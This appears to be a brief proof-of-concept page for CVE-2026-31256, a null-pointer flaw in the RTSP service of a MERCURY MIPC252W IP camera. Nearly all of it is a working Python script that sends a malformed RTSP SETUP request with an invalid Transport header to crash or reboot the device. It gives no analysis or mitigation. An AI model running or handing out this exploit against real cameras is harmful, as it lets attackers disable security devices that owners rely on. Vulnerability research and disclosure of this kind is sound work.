CVE-2026-31256: MERCURY MIPC252W RTSP空指针引用漏洞

import socket # Target configuration TARGET_IP = "192.168.1.10" TARGET_PORT = 554 def send_exploit(): # Constructing the malicious RTSP SETUP request # The vulnerability is triggered via the Transport header validation failure request = ( f"SETUP rtsp://{TARGET_IP}:554/stream1/track2 RTSP/1.0\r\n" "CSeq: 1\r\n" "User-Agent: Exploit/1.0\r\n" "Transport: INVALID_HEADER_VALUE\r\n" "\r\n" ) try: print(f"[+] Sending exploit payload to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) s.send(request.encode('utf-8')) print("[+] Payload sent successfully. Check device for crash/reboot.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()